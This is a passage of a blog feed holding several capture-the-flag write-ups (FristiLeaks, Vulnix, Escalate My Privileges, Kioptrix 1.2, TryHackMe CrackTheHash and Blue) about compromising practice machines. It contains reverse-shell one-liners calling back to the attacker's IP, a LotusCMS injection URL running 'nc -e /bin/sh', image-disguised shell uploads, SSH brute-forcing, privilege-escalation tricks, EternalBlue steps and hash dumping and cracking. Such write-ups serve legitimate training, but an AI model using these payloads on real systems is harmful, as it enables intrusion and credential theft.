  <li>Tried to upload a shell but only image files were allowed. So, I downloaded the pentester monkey php reverse shell from https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php and updated the ip port to machine ip and listener port. Then renamed the file with <code class="language-plaintext highlighter-rouge">.jpg</code> extension.</li>
  <li>If we open a <code class="language-plaintext highlighter-rouge">netcat</code> listener with <code class="language-plaintext highlighter-rouge">nc -lvp port</code>. Then open the link <code class="language-plaintext highlighter-rouge">http://{VM_IP}/fristi/uploads/{upload_file_name}</code> then we will get reverse shell.</li>
</ul>

<h2 id="priviledge-escalation">Priviledge Escalation</h2>

<ul>
  <li>By running <code class="language-plaintext highlighter-rouge">uname -a</code> we can find that version is vulnerable to <code class="language-plaintext highlighter-rouge">dirty cow</code>. I used this exploit https://www.exploit-db.com/exploits/40839 and added a user named <code class="language-plaintext highlighter-rouge">firefart</code> as root user with password <code class="language-plaintext highlighter-rouge">password</code>.</li>
  <li>Now we can simply get a <code class="language-plaintext highlighter-rouge">tty shell</code> to make the shell interactive with <code class="language-plaintext highlighter-rouge">python -c 'import pty; pty.spawn("/bin/bash")'</code> and login as root user <code class="language-plaintext highlighter-rouge">firefart</code> with <code class="language-plaintext highlighter-rouge">su firefart</code>.</li>
  <li>Now we can simply got to root directory and find a file with name <code class="language-plaintext highlighter-rouge">fristileaks_secrets.txt</code>. Inside that file we have the flag <code class="language-plaintext highlighter-rouge">Y0u_kn0w_y0u_l0ve_fr1st1</code>.</li>
</ul>]]></content><author><name>Zishan Ahamed Thandar</name></author><category term="vulnhub" /><summary type="html"><![CDATA[FristiLeaks: 1.3]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://zishanhack.com/blog/assets/images/og-image.png" /><media:content medium="image" url="https://zishanhack.com/blog/assets/images/og-image.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">HackLAB Vulnix Vulnhub Machine manually solved sudo privilege escalation machine</title><link href="https://zishanhack.com/blog/vulnhub/hacklab-vulnix/" rel="alternate" type="text/html" title="HackLAB Vulnix Vulnhub Machine manually solved sudo privilege escalation machine" /><published>2024-05-18T00:00:00+05:30</published><updated>2024-05-18T00:00:00+05:30</updated><id>https://zishanhack.com/blog/vulnhub/hacklab-vulnix</id><content type="html" xml:base="https://zishanhack.com/blog/vulnhub/hacklab-vulnix/"><![CDATA[<h1 id="hacklab-vulnix">HackLAB: Vulnix</h1>

<ul>
  <li><a href="#tools">Tools</a></li>
  <li><a href="#gaining-ccess">Gaining Access</a></li>
  <li><a href="#priviledge-escalation">Priviledge Escalation</a></li>
</ul>

<p>Machine: <a href="https://www.vulnhub.com/entry/hacklab-vulnix%2C48/">https://www.vulnhub.com/entry/hacklab-vulnix%2C48/</a></p>

<p>Now we can Download the 7z file and solve the machine by hosting it inside a virtual box.</p>
<h2 id="tools">Tools</h2>

<ul>
  <li><a href="https://nmap.org/">NMap</a></li>
  <li><a href="https://github.com/vanhauser-thc/thc-hydra">hydra</a></li>
  <li>ssh</li>
</ul>

<h2 id="gaining-access">Gaining Access</h2>

<ul>
  <li>I used the Bridged Adapter setting so my ip is 192.168.0.8.</li>
  <li>At first scanned with nmap. Nmap Shows some open ports 22 ssh, 25 smtp, 79 finger, 110 POP3, 111 rpcbind etc.</li>
  <li>If we run finger user enumeration script of pentestermonkey with command <code class="language-plaintext highlighter-rouge">perl finger-user-enum.pl -U /opt/metasploit-framework/embedded/framework/data/wordlists/unix_users.txt -t IP_ADRESS</code> we can get many usernames including user.</li>
  <li>If we bruteforce port 22 for ssh with hydra, we will get the password for user user is <code class="language-plaintext highlighter-rouge">letmein</code>. We can use command, <code class="language-plaintext highlighter-rouge">hydra -l user -P /opt/wordlist/rockyou.txt 192.168.0.8 ssh -t 4</code> to bruteforce ssh with hydra.</li>
  <li>If we login to ssh and check id we can get an user inside <code class="language-plaintext highlighter-rouge">/etc/passwd</code> as vulnix 2008.</li>
  <li>After creating a user as 2008 vulnix, we can <code class="language-plaintext highlighter-rouge">mount /home/vulnix</code> using nfs.</li>
  <li>Generate ssh key with ssh-keygen</li>
  <li>Now upload ssh key to the vulnix machine</li>
  <li>Now we can <code class="language-plaintext highlighter-rouge">ssh</code> to the machine, with <code class="language-plaintext highlighter-rouge">ssh vulnix@192.168.0.8</code>.</li>
</ul>

<h2 id="priviledge-escalation">Priviledge Escalation</h2>

<ul>
  <li><code class="language-plaintext highlighter-rouge">sudo -l</code> shows <code class="language-plaintext highlighter-rouge">/etc/exports</code> is editable. So, added <code class="language-plaintext highlighter-rouge">/root  *(rw,sync,no_root_squash)</code> to root.</li>
  <li>Now rebooting the VM will add root to nfs, and we can mount root directory.</li>
  <li>So we got the flag inside <code class="language-plaintext highlighter-rouge">trophy.txt</code> is <code class="language-plaintext highlighter-rouge">cc614640424f5bd60ce5d5264899c3be</code>.</li>
</ul>]]></content><author><name>Zishan Ahamed Thandar</name></author><category term="vulnhub" /><summary type="html"><![CDATA[HackLAB: Vulnix]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://zishanhack.com/blog/assets/images/og-image.png" /><media:content medium="image" url="https://zishanhack.com/blog/assets/images/og-image.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Escalate My Privileges 1 Vulnhub Machine solved manually</title><link href="https://zishanhack.com/blog/vulnhub/escalate-my-privileges-1/" rel="alternate" type="text/html" title="Escalate My Privileges 1 Vulnhub Machine solved manually" /><published>2024-05-17T00:00:00+05:30</published><updated>2024-05-17T00:00:00+05:30</updated><id>https://zishanhack.com/blog/vulnhub/escalate-my-privileges-1</id><content type="html" xml:base="https://zishanhack.com/blog/vulnhub/escalate-my-privileges-1/"><![CDATA[<h1 id="escalate-my-privileges-1">Escalate My Privileges: 1</h1>

<ul>
  <li><a href="#tools">Tools</a></li>
  <li><a href="#gaining-access">Gaining Access</a></li>
  <li><a href="#priviledge-escalation">Priviledge Escalation</a></li>
</ul>

<p>Machine: <a href="https://www.vulnhub.com/entry/escalate-my-privileges-1,448/">https://www.vulnhub.com/entry/escalate-my-privileges-1,448/</a></p>

<h2 id="tools">Tools</h2>

<ul>
  <li><a href="https://NMap.org">NMap</a></li>
  <li>netcat</li>
  <li>md5sum</li>
</ul>

<h2 id="gaining-access">Gaining Access</h2>

<ul>
  <li>After Running the VM as bridged connection, I checked my gateway page to find IP. In my case ip is <code class="language-plaintext highlighter-rouge">192.168.0.11</code>.</li>
  <li>Scan with <code class="language-plaintext highlighter-rouge">NMap</code> gives some open ports.</li>
  <li>Nmap with this command <code class="language-plaintext highlighter-rouge">nmap -A 192.168.0.11</code> gives an url <code class="language-plaintext highlighter-rouge">http://192.168.0.11/phpbash.php</code>.</li>
  <li>It’s a shell on that link. We can execute command as user <code class="language-plaintext highlighter-rouge">apache</code>.</li>
  <li>Running this command <code class="language-plaintext highlighter-rouge">php -r '$sock=fsockopen("192.168.0.4",1337);exec("/bin/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3");'</code> with my ip port gives a <code class="language-plaintext highlighter-rouge">netcat</code> shell to my listner <code class="language-plaintext highlighter-rouge">nc -lvnp 1337</code>.</li>
  <li>We got shell as <code class="language-plaintext highlighter-rouge">armour</code>.</li>
</ul>

<h2 id="priviledge-escalation">Priviledge Escalation</h2>

<ul>
  <li>On <code class="language-plaintext highlighter-rouge">/home/armour</code> directory there is a file named <code class="language-plaintext highlighter-rouge">Credentials.txt</code>. Inside it we get password <code class="language-plaintext highlighter-rouge">md5(rootroot1)</code>.</li>
  <li>Spawn tty shell, convert <code class="language-plaintext highlighter-rouge">md5sum</code> of the <code class="language-plaintext highlighter-rouge">rootroot1</code> to use as password. Then login as <code class="language-plaintext highlighter-rouge">armour</code> with <code class="language-plaintext highlighter-rouge">md5sum</code> of <code class="language-plaintext highlighter-rouge">rootroot1</code>.</li>
  <li>Using <code class="language-plaintext highlighter-rouge">sudo -l</code> command shows <code class="language-plaintext highlighter-rouge">/bin/bash</code> could be used to get root shell.</li>
  <li>Used <code class="language-plaintext highlighter-rouge">sudo /bin/bash</code> command to <code class="language-plaintext highlighter-rouge">root</code>.</li>
  <li>We can get flag inside <code class="language-plaintext highlighter-rouge">/root/flag.txt</code> by using command.<code class="language-plaintext highlighter-rouge">cat /root/flag.txt</code> The flag is  <code class="language-plaintext highlighter-rouge">628435356e49f976bab2c04948d22fe4</code>.</li>
</ul>]]></content><author><name>Zishan Ahamed Thandar</name></author><category term="vulnhub" /><summary type="html"><![CDATA[Escalate My Privileges: 1]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://zishanhack.com/blog/assets/images/og-image.png" /><media:content medium="image" url="https://zishanhack.com/blog/assets/images/og-image.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Kioptrix Level 1.2 solved using LotusCMS RCE</title><link href="https://zishanhack.com/blog/vulnhub/kioptrix12/" rel="alternate" type="text/html" title="Kioptrix Level 1.2 solved using LotusCMS RCE" /><published>2024-05-15T00:00:00+05:30</published><updated>2024-05-15T00:00:00+05:30</updated><id>https://zishanhack.com/blog/vulnhub/kioptrix12</id><content type="html" xml:base="https://zishanhack.com/blog/vulnhub/kioptrix12/"><![CDATA[<h1 id="kioptrix-level-12">Kioptrix: Level 1.2</h1>

<ul>
  <li><a href="#tools">Tools</a></li>
  <li><a href="#gaining-access">Gaining Access</a></li>
  <li><a href="#priviledge-escalation">Priviledge Escalation</a></li>
</ul>

<p>Machine: <a href="https://www.vulnhub.com/entry/kioptrix-level-12-3,24/">https://www.vulnhub.com/entry/kioptrix-level-12-3,24/</a></p>

<h2 id="tools">Tools</h2>

<ul>
  <li><a href="https://NMap.org">NMap</a></li>
  <li>dirb</li>
  <li>Netcat</li>
</ul>

<h2 id="gaining-access">Gaining Access</h2>

<ul>
  <li>Got IP with netdiscover, in my case IP is 192.168.0.13. At first as usual scanned with nmap.</li>
  <li>Running dirb gives us some links.</li>
  <li>If we open the ip there is a website.</li>
  <li>If we click on login, we can get login panel powered by LotusCMS.</li>
  <li>If we google <code class="language-plaintext highlighter-rouge">LotusCMS RCE exploit</code>. We can find many exploits to get RCE. So, I studied the exploit and crafted a payload for reverse shell. Opening the crafted link gives reverse shell. <code class="language-plaintext highlighter-rouge">http://192.168.0.13/index.php?page=index%27)%3B%24{system(%27nc+-e+%2Fbin%2Fsh+&lt;ip address&gt;+&lt;port number&gt;%27)}%3B%23</code> while listening on netcat if we open that link we will get a reverse shell.</li>
</ul>

<h2 id="priviledge-escalation">Priviledge Escalation</h2>

<ul>
  <li>After some searching, I got some credentials inside <code class="language-plaintext highlighter-rouge">/home/www/kioptrix3.com/gallery/gconfig.php</code>.</li>
  <li>We can use this credential on a previously found link using dirb <code class="language-plaintext highlighter-rouge">http://192.168.0.13/phpmyadmin/</code>.</li>
  <li>After logging in we get two username and hash inside database.</li>
  <li>So, if we decrypt those hash using crackstation, we get password of <code class="language-plaintext highlighter-rouge">dreg</code> is <code class="language-plaintext highlighter-rouge">Mast3r</code> and pasword of <code class="language-plaintext highlighter-rouge">loneferret</code> is <code class="language-plaintext highlighter-rouge">starwars</code>.</li>
  <li>We can get ssh using those credentials. As dreg I got nothing important. So, I tried <code class="language-plaintext highlighter-rouge">loneferret</code> and <code class="language-plaintext highlighter-rouge">sudo</code> is enabled there and got some <code class="language-plaintext highlighter-rouge">sudo binary</code>.</li>
  <li><code class="language-plaintext highlighter-rouge">su</code> is not exploitable as user <code class="language-plaintext highlighter-rouge">loneferret</code>, so I tried to exploit <code class="language-plaintext highlighter-rouge">ht</code> and to exploit <code class="language-plaintext highlighter-rouge">ht</code> I need to <code class="language-plaintext highlighter-rouge">export TERM=xterm</code>.</li>
  <li>Now I found this article https://vk9-sec.com/ht-privilege-escalation/ and followed these simple steps to root. So, at first I opened <code class="language-plaintext highlighter-rouge">sudo ht</code> and then pressed <code class="language-plaintext highlighter-rouge">F3</code> to select <code class="language-plaintext highlighter-rouge">/etc/sudoers</code> to open.</li>
  <li>Now added <code class="language-plaintext highlighter-rouge">/bin/bash</code> to sudoers as instructed in the article and saved the file with <code class="language-plaintext highlighter-rouge">F2</code> and quit with <code class="language-plaintext highlighter-rouge">F10</code> or <code class="language-plaintext highlighter-rouge">CTRL+C</code>.</li>
  <li>Now just use <code class="language-plaintext highlighter-rouge">sudo /bin/bash</code> to get root shell.</li>
  <li>Now we can find a file <code class="language-plaintext highlighter-rouge">Congrats.txt</code> inside <code class="language-plaintext highlighter-rouge">/root</code> directory and this is the flag file containing a big paragraph.</li>
</ul>]]></content><author><name>Zishan Ahamed Thandar</name></author><category term="vulnhub" /><summary type="html"><![CDATA[Kioptrix: Level 1.2]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://zishanhack.com/blog/assets/images/og-image.png" /><media:content medium="image" url="https://zishanhack.com/blog/assets/images/og-image.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">CrackTheHash Writeup - TryHackMe room to learn hash cracking</title><link href="https://zishanhack.com/blog/thm/crackthehash/" rel="alternate" type="text/html" title="CrackTheHash Writeup - TryHackMe room to learn hash cracking" /><published>2024-04-01T00:00:00+05:30</published><updated>2024-04-01T00:00:00+05:30</updated><id>https://zishanhack.com/blog/thm/crackthehash</id><content type="html" xml:base="https://zishanhack.com/blog/thm/crackthehash/"><![CDATA[<h1 id="crackthehash">CrackTheHash</h1>

<ul>
  <li><a href="#tools">Tools</a></li>
  <li><a href="#level-1">Level 1</a></li>
  <li><a href="#level-2">level 2</a></li>
</ul>

<p>Room Link: <a href="https://thm.com/room/crackthehash">https://thm.com/room/crackthehash</a></p>

<p>Badges: <a href="https://thm.com/ZishanAdThandar/badges/hash-cracker">https://thm.com/ZishanAdThandar/badges/hash-cracker</a></p>

<h2 id="tools">Tools</h2>

<ul>
  <li>hashcat</li>
  <li>hashid</li>
  <li>hash-identifier</li>
  <li>rockyou.txt</li>
</ul>

<h2 id="level-1">Level 1</h2>

<ul>
  <li>I googled the first hash <code class="language-plaintext highlighter-rouge">48bb6e862e54f2a795ffc4e541caed4d</code>. Found this link https://md5.gromweb.com/?md5=48bb6e862e54f2a795ffc4e541caed4d So, It is nd5 of string <code class="language-plaintext highlighter-rouge">easy</code>. Also running hashcat with <code class="language-plaintext highlighter-rouge">hashcat -D 2 -m 0 hash.txt rockyou.txt</code> gives is answer.</li>
  <li>Used <code class="language-plaintext highlighter-rouge">hashid</code> on second hash with <code class="language-plaintext highlighter-rouge">hashid CBFDAC6008F9CAB4083784CBD1874F76618D2A97</code> and it shows SHA1 as one of the probable hash. So, again runnning hashcat with <code class="language-plaintext highlighter-rouge">-m 100</code> gives us answer.</li>
  <li>Again used hashid on hash <code class="language-plaintext highlighter-rouge">1C8BFE8F801D79745C4631D09FFF36C82AA37FC4CCE4FC946683D7B336B63032</code>, it shows SHA256. So, used hashcat with <code class="language-plaintext highlighter-rouge">-m 1400</code> gives the answer.</li>
  <li>Again hash id method shows hash <code class="language-plaintext highlighter-rouge">$2y$12$Dwt1BZj6pcyc3Dy1FWZ5ieeUznr71EeNkJkUlypTsgbX1H68wsRom</code> is bcrypt blowfish. Similarly hashcat with <code class="language-plaintext highlighter-rouge">-m 3200</code> gives answer.</li>
  <li>hashid shows hash <code class="language-plaintext highlighter-rouge">279412f945939ba78ce0758d3fd83daa</code> could be md5, md2, md4 etc. After trying hashcat for different hash types, got the answer for md4 with <code class="language-plaintext highlighter-rouge">-m 900</code> give us answer.</li>
</ul>

<h2 id="level-2">Level 2</h2>

<ul>
  <li>Again same method shows SHA256 and used hashcat with <code class="language-plaintext highlighter-rouge">-m 1400</code> shows hash <code class="language-plaintext highlighter-rouge">F09EDCB1FCEFC6DFB23DC3505A882655FF77375ED8AA2D1C13F640FCCC2D0C85</code> is encrypted from the asnwer.</li>
  <li><code class="language-plaintext highlighter-rouge">hash-identifier</code> shows that hash cold be NTLM. So, used hashcat with <code class="language-plaintext highlighter-rouge">-m 1000</code> gives answer.</li>
  <li>As it is strating with <code class="language-plaintext highlighter-rouge">$6$</code>, so hash is <code class="language-plaintext highlighter-rouge">SHA512crypt</code>. So, it’s decrypted with hashcat with <code class="language-plaintext highlighter-rouge">-m 1800</code> and the cracked hash is the answer.</li>
  <li>hashid shows hash <code class="language-plaintext highlighter-rouge">e5d8870e5bdd26602cab8dbe07a942c8669e56d6</code> is SHA1 with salt. So, decrypted “e5d8870e5bdd26602cab8dbe07a942c8669e56d6:thm” with salt SHA1 gives us the answer.</li>
</ul>]]></content><author><name>Zishan Ahamed Thandar</name></author><category term="thm" /><summary type="html"><![CDATA[CrackTheHash]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://zishanhack.com/blog/assets/images/og-image.png" /><media:content medium="image" url="https://zishanhack.com/blog/assets/images/og-image.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Blue - TryHackMe room solved using Eternalblue</title><link href="https://zishanhack.com/blog/thm/blue/" rel="alternate" type="text/html" title="Blue - TryHackMe room solved using Eternalblue" /><published>2024-03-01T00:00:00+05:30</published><updated>2024-03-01T00:00:00+05:30</updated><id>https://zishanhack.com/blog/thm/blue</id><content type="html" xml:base="https://zishanhack.com/blog/thm/blue/"><![CDATA[<h1 id="blue">Blue</h1>

<ul>
  <li><a href="#tools">Tools</a></li>
  <li><a href="#recon">Recon</a></li>
  <li><a href="#gain-access">Gain Access</a></li>
  <li><a href="#escalate">Escalate</a></li>
  <li><a href="#cracking">Cracking</a></li>
  <li><a href="#find-flags">Find flags</a></li>
</ul>

<p>Room Link: <a href="https://thm.com/room/blue">https://thm.com/room/blue</a></p>

<p>Badges: <a href="https://thm.com/ZishanAdThandar/badges/blue">https://thm.com/ZishanAdThandar/badges/blue</a></p>

<h2 id="tools">Tools</h2>

<ul>
  <li>NMap https://nmap.org/download</li>
  <li>Metasploit https://www.metasploit.com/download</li>
</ul>

<h2 id="recon">Recon</h2>

<ul>
  <li>Scan with nmap using command, <code class="language-plaintext highlighter-rouge">nmap 10.10.248.180 --script vuln -p0-1000</code></li>
</ul>

<p>Output:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Starting Nmap 7.80 <span class="o">(</span> https://nmap.org <span class="o">)</span> at 2024-02-27 10:57 IST
Nmap scan report <span class="k">for </span>10.10.248.180
Host is up <span class="o">(</span>0.20s latency<span class="o">)</span><span class="nb">.</span>
Not shown: 998 closed ports
PORT    STATE SERVICE
135/tcp open  msrpc
|_clamav-exec: ERROR: Script execution failed <span class="o">(</span>use <span class="nt">-d</span> to debug<span class="o">)</span>
139/tcp open  netbios-ssn
|_clamav-exec: ERROR: Script execution failed <span class="o">(</span>use <span class="nt">-d</span> to debug<span class="o">)</span>
|_smb-vuln-webexec: ERROR: Script execution failed <span class="o">(</span>use <span class="nt">-d</span> to debug<span class="o">)</span>
445/tcp open  microsoft-ds
|_clamav-exec: ERROR: Script execution failed <span class="o">(</span>use <span class="nt">-d</span> to debug<span class="o">)</span>
|_smb-vuln-webexec: ERROR: Script execution failed <span class="o">(</span>use <span class="nt">-d</span> to debug<span class="o">)</span>

Host script results:
|_samba-vuln-cve-2012-1182: ERROR: Script execution failed <span class="o">(</span>use <span class="nt">-d</span> to debug<span class="o">)</span>
|_smb-double-pulsar-backdoor: ERROR: Script execution failed <span class="o">(</span>use <span class="nt">-d</span> to debug<span class="o">)</span>
|_smb-vuln-conficker: ERROR: Script execution failed <span class="o">(</span>use <span class="nt">-d</span> to debug<span class="o">)</span>
|_smb-vuln-cve-2017-7494: ERROR: Script execution failed <span class="o">(</span>use <span class="nt">-d</span> to debug<span class="o">)</span>
|_smb-vuln-ms06-025: ERROR: Script execution failed <span class="o">(</span>use <span class="nt">-d</span> to debug<span class="o">)</span>
|_smb-vuln-ms07-029: ERROR: Script execution failed <span class="o">(</span>use <span class="nt">-d</span> to debug<span class="o">)</span>
|_smb-vuln-ms08-067: ERROR: Script execution failed <span class="o">(</span>use <span class="nt">-d</span> to debug<span class="o">)</span>
|_smb-vuln-ms10-054: <span class="nb">false</span>
|_smb-vuln-ms10-061: ERROR: Script execution failed <span class="o">(</span>use <span class="nt">-d</span> to debug<span class="o">)</span>
|_smb-vuln-ms17-010: ERROR: Script execution failed <span class="o">(</span>use <span class="nt">-d</span> to debug<span class="o">)</span>
|_smb-vuln-regsvc-dos: ERROR: Script execution failed <span class="o">(</span>use <span class="nt">-d</span> to debug<span class="o">)</span>

Nmap <span class="k">done</span>: 1 IP address <span class="o">(</span>1 host up<span class="o">)</span> scanned <span class="k">in </span>34.07 seconds
</code></pre></div></div>

<ul>
  <li>Question <code class="language-plaintext highlighter-rouge">How many ports are open with a port number under 1000?</code> Answer <code class="language-plaintext highlighter-rouge">3</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">What is this machine vulnerable to? (Answer in the form of: ms??-???, ex: ms08-067)</code> Answer <code class="language-plaintext highlighter-rouge">ms17-010</code></li>
</ul>

<h2 id="gain-access">Gain Access</h2>

<ul>
  <li>Start Metasploit with <code class="language-plaintext highlighter-rouge">msfconsole</code></li>
  <li>Following next question, searched exploit in metasploit console with <code class="language-plaintext highlighter-rouge">search ms17-010</code> command
Output:</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Matching Modules
<span class="o">================</span>

   <span class="c">#  Name                                      Disclosure Date  Rank     Check  Description</span>
   -  <span class="nt">----</span>                                      <span class="nt">---------------</span>  <span class="nt">----</span>     <span class="nt">-----</span>  <span class="nt">-----------</span>
   0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection
   4  exploit/windows/smb/smb_doublepulsar_rce  2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution


Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rce
</code></pre></div></div>

<ul>
  <li>Question <code class="language-plaintext highlighter-rouge">Find the exploitation code we will run against the machine. What is the full path of the code? (Ex: exploit/........)</code> Ansswer <code class="language-plaintext highlighter-rouge">exploit/windows/smb/ms17_010_eternalblue</code></li>
  <li>To use the exploit we typed <code class="language-plaintext highlighter-rouge">use exploit/windows/smb/ms17_010_eternalblue</code> command</li>
  <li>After checkinh options with <code class="language-plaintext highlighter-rouge">options</code> command, we found that we need to add rhosts with <code class="language-plaintext highlighter-rouge">set rhosts 10.10.248.180</code> and <code class="language-plaintext highlighter-rouge">set lhost tun0</code> command</li>
  <li>Question <code class="language-plaintext highlighter-rouge">Show options and set the one required value. What is the name of this value? (All caps for submission)</code> Answer <code class="language-plaintext highlighter-rouge">RHOSTS</code></li>
</ul>

<h2 id="escalate">Escalate</h2>

<ul>
  <li>Used payload with command <code class="language-plaintext highlighter-rouge">set payload windows/x64/shell/reverse_tcp</code></li>
  <li>Then <code class="language-plaintext highlighter-rouge">run</code> and wait for some time.</li>
  <li><code class="language-plaintext highlighter-rouge">search shell_to_meterpreter</code> to find module to upgrade session to meterpreter.
Output:</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Matching Modules
<span class="o">================</span>

   <span class="c">#  Name                                    Disclosure Date  Rank    Check  Description</span>
   -  <span class="nt">----</span>                                    <span class="nt">---------------</span>  <span class="nt">----</span>    <span class="nt">-----</span>  <span class="nt">-----------</span>
   0  post/multi/manage/shell_to_meterpreter                   normal  No     Shell to Meterpreter Upgrade


Interact with a module by name or index. For example info 0, use 0 or use post/multi/manage/shell_to_meterpreter
</code></pre></div></div>

<ul>
  <li>Question <code class="language-plaintext highlighter-rouge">If you haven't already, background the previously gained shell (CTRL + Z). Research online how to convert a shell to meterpreter shell in metasploit. What is the name of the post module we will use? (Exact path, similar to the exploit we previously selected)</code> Answer <code class="language-plaintext highlighter-rouge">post/multi/manage/shell_to_meterpreter</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">Select this (use MODULE_PATH). Show options, what option are we required to change?</code> Answer <code class="language-plaintext highlighter-rouge">SESSION</code></li>
  <li>Run the module after setting session. If fails run it again, it will connect.</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>meterpreter <span class="o">&gt;</span> shell
Process 808 created.
Channel 1 created.
Microsoft Windows <span class="o">[</span>Version 6.1.7601]
Copyright <span class="o">(</span>c<span class="o">)</span> 2009 Microsoft Corporation.  All rights reserved.

C:<span class="se">\W</span>indows<span class="se">\s</span>ystem32&gt;whoami
<span class="nb">whoami
</span>nt authority<span class="se">\s</span>ystem

C:<span class="se">\W</span>indows<span class="se">\s</span>ystem32&gt;ps
ps
<span class="s1">'ps'</span> is not recognized as an internal or external <span class="nb">command</span>,
operable program or batch file.

C:<span class="se">\W</span>indows<span class="se">\s</span>ystem32&gt;exit
<span class="nb">exit
</span>meterpreter <span class="o">&gt;</span> ps

Process List
<span class="o">============</span>

 PID   PPID  Name               Arch  Session  User                          Path
 <span class="nt">---</span>   <span class="nt">----</span>  <span class="nt">----</span>               <span class="nt">----</span>  <span class="nt">-------</span>  <span class="nt">----</span>                          <span class="nt">----</span>
 0     0     <span class="o">[</span>System Process]
 4     0     System             x64   0
 416   4     smss.exe           x64   0        NT AUTHORITY<span class="se">\S</span>YSTEM  ...........
...............................................................................
...............................................................................
</code></pre></div></div>

<ul>
  <li>Use <code class="language-plaintext highlighter-rouge">migrate PROCESS_ID</code> to mmigrate.</li>
</ul>

<h2 id="cracking">Cracking</h2>

<ul>
  <li>Use <code class="language-plaintext highlighter-rouge">hashdump</code> to hashes.
Output:</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>meterpreter <span class="o">&gt;</span> hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::
</code></pre></div></div>

<ul>
  <li>Question <code class="language-plaintext highlighter-rouge">Within our elevated meterpreter shell, run the command 'hashdump'. This will dump all of the passwords on the machine as long as we have the correct privileges to do so. What is the name of the non-default user?</code> Answer <code class="language-plaintext highlighter-rouge">Jon</code></li>
  <li>Save hashes in a file named <code class="language-plaintext highlighter-rouge">hash.txt</code> and use <code class="language-plaintext highlighter-rouge">john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt hash.txt</code> to crack the hash.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">Copy this password hash to a file and research how to crack it. What is the cracked password?</code> Answer <code class="language-plaintext highlighter-rouge">*******</code></li>
</ul>

<h2 id="find-flags">Find flags</h2>

<ul>
  <li>We can goto <code class="language-plaintext highlighter-rouge">C:\\</code> abd get first flag using <code class="language-plaintext highlighter-rouge">cat flag1.txt</code>.</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>meterpreter <span class="o">&gt;</span> <span class="nb">pwd
</span>C:<span class="se">\W</span>indows<span class="se">\s</span>ystem32
meterpreter <span class="o">&gt;</span> <span class="nb">cd </span>C:<span class="se">\\</span>
meterpreter <span class="o">&gt;</span> <span class="nb">ls
</span>Listing: C:<span class="se">\</span>
<span class="o">============</span>

Mode              Size   Type  Last modified              Name
<span class="nt">----</span>              <span class="nt">----</span>   <span class="nt">----</span>  <span class="nt">-------------</span>              <span class="nt">----</span>
040777/rwxrwxrwx  0      <span class="nb">dir   </span>2018-12-13 08:43:36 +0530  <span class="nv">$Recycle</span>.Bin
040777/rwxrwxrwx  0      <span class="nb">dir   </span>2009-07-14 10:38:56 +0530  Documents and Settings
040777/rwxrwxrwx  0      <span class="nb">dir   </span>2009-07-14 08:50:08 +0530  PerfLogs
040555/r-xr-xr-x  4096   <span class="nb">dir   </span>2019-03-18 03:52:01 +0530  Program Files
040555/r-xr-xr-x  4096   <span class="nb">dir   </span>2019-03-18 03:58:38 +0530  Program Files <span class="o">(</span>x86<span class="o">)</span>
040777/rwxrwxrwx  4096   <span class="nb">dir   </span>2019-03-18 04:05:57 +0530  ProgramData
040777/rwxrwxrwx  0      <span class="nb">dir   </span>2018-12-13 08:43:22 +0530  Recovery
040777/rwxrwxrwx  4096   <span class="nb">dir   </span>2019-03-18 04:05:55 +0530  System Volume Information
040555/r-xr-xr-x  4096   <span class="nb">dir   </span>2018-12-13 08:43:28 +0530  Users
040777/rwxrwxrwx  16384  <span class="nb">dir   </span>2019-03-18 04:06:30 +0530  Windows
100666/rw-rw-rw-  24     fil   2019-03-18 00:57:21 +0530  flag1.txt
000000/---------  0      fif   1970-01-01 05:30:00 +0530  hiberfil.sys
000000/---------  0      fif   1970-01-01 05:30:00 +0530  pagefile.sys

meterpreter <span class="o">&gt;</span> <span class="nb">cat </span>flag1.txt
flag<span class="o">{</span><span class="k">********************************</span><span class="o">}</span>
</code></pre></div></div>

<ul>
  <li>We can use <code class="language-plaintext highlighter-rouge">search -f flag2.txt</code> and <code class="language-plaintext highlighter-rouge">search -f flag2.txt</code> to find second and third flag to submit, as we already know the first one.</li>
</ul>

